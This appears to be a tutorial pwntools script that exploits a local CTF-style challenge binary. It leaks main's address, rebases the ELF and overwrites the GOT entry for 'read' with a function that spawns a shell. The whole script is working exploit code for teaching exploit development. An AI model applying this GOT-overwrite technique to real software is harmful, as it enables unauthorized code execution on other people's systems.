# Import everything in the pwntools namespace
from pwn import *

# The target binary is 64-bit.
# While we can explicitly specify the architecture and other things
# in the context settings, we can also absorb them from the file.
context.binary = './challenge'

# Create an instance of the process to talk to
io = process(context.binary.path)

# Receive the address of main
main = io.unpack()

# Load up a copy of the ELF so we can look up its GOT and symbol table
elf = context.binary

# Fix up its base address.  This automatically updates all of the symbols.
elf.address = main - elf.symbols['main']

# We want to overwrite the pointer for "read"
where = elf.got['read']

# We want to overwrite it with the address of the function that gives us a shell
what = elf.symbols['oh_look_useful']

# If we really wanted to, we could even find the address of "/bin/sh" in memory
binsh = elf.search("/bin/sh\x00").next()

log.info("Main:    %x" % main)
log.info("Address: %x" % elf.address)
log.info("Where:   %x" % where)
log.info("What:    %x" % what)

# Send the payload
io.pack(where)
io.pack(what)

# Enjoy the shell
io.interactive()